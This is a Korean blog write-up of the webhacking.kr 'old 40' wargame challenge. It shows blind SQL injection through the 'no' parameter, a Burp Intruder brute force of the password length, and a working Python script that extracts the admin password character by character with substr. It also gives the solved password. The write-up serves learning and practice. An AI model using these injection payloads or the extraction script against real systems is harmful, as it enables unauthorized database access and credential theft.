본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 40번 문제풀이(Writeup)

반응형

webhacking.kr old 40번 문제풀이(Writeup)

old 40번 문제풀이 1

문제를 들어가면 위와 같이 출력된다.  궁금하니까 로그인부터 눌러보자.

 

 

old 40번 문제풀이 2

로그인을 해보니, no=1, id=guest, pw=guest라는 것을 GET 메소드 방식으로 전달한다.

 

 

old 40번 문제풀이 3

no=2로 넣어서 실패를 해보니, failure이 나온다. 이번엔 no=0으로 넣으니 아무 반응을 하지 않는다. 따라서 이번 문제도  Blind SQL Injection이지 않을까 싶다. 그래서 가장 의심스러운 no에서 injection이 되는지 시도해봤다.

 

old 40번 문제풀이 4

no=0||1=1 을 넣고 나머지는 그대로 해서 로그인이 되는지 확인해봤고, 그 결과 로그인에 성공했다.  

 

 

 

old 40번 문제풀이 5

 

그렇다면 no=0||no=2를 넣고 id=admin&pw=admin으로 넣는다면 로그인이 될까 싶었다. 해보니까 admin으로 로그인할 수 있는 페이지가 출력되었다. 여기서 스크립트를 작성해서 password를 맞출 수 있을 것 같았다. 그렇다면 pw의 길이를 먼저 알아야 하는데, 이것도 SQL Injection으로 해결할 수 있을까 싶어서 몇 가지 시도를 하다가 length(pw)함수가 되는 것을 알게 됐다.

 

old 40번 문제풀이 6

"no=0||length(pw)=1&id=admin&pw=admin"

위 쿼리로 해서 Interude에서 Sniper를 이용해 Payload는 Numbers 1 to 20 step 1로 설정해서 Brute Force공격을 했다.

 

 

old 40번 문제풀이 7

admin페이지가 나오는 것은 length(pw)=10 일 때, 나온것을 확인했다.

 

old 40번 문제풀이 8

Burp Suite로 잡아보니 파라미터가 auth로 잡히는 것이 보인다. 이제 auth를 통해 잘못된 값을 넣으면 Wrong이 출력되는 것까지 알았다. 이젠 진짜 스크립트를 작성해보자.

 

 

import requests
URL="https://webhacking.kr/challenge/web-29/?"
cookie = {'PHPSESSID':"8p801v7bi31380bsqlkok5nql2"}

#Get_Password_length
len = 10
pw =''
for i in range(1,len+1):
    for j in range(33,133):
        k = hex(j).split("0x")[1]
        param = "no=0||substr(pw,{},1)=0x{}&id=admin&pw=admin".format(i,k)
        r = requests.get(URL+param, cookies=cookie)
        #print(j)
        if "admin password :" in r.text:
            pw += chr(j)
            print(pw)
            break

먼저 password 길이는 10인 것을 찾았었고, password 길이만큼 반복을 돌면서, ascii 코드 범위인 33~133까지 반복을 돌면서 substr로 하나씩 잘라서 대입해본다. 이때 "admin password : "가 출력되면 패스워드가 맞기 때문에 pw 문자열을 출력한 다음  break를 하고 다시 반복을 이어간다.

 

 

old 40번 문제풀이 9

LCK_ADMIN이라고 나왔다. 보니까 두번째 패스워드를 찾을 때 출력이 안되었다. 그래서 안된 이유를 찾다보니 guest 계정과 admin계정 두개의 2번째 자리 password가 같을 수도 있을 것이라고 생각했다. 같다고 가정하면, 아래와 같은 password가 된다.

LUCK_ADMIN

 

말이 되는걸 보니 같았던 것 같다. 그리고 r.text로 찾을 때, 많은 경우에 대문자로만 출력된다. 따라서 소문자로 바꿔서 password를 입력했다.

 

old 40번 문제풀이 10

문제 해결 메시지가 출력된다. 

 


Blind SQL Injection 문제에서 쉬운 편이었던 것 같다. 기본을 다시 공부할 수 있는 문제였다.

728x90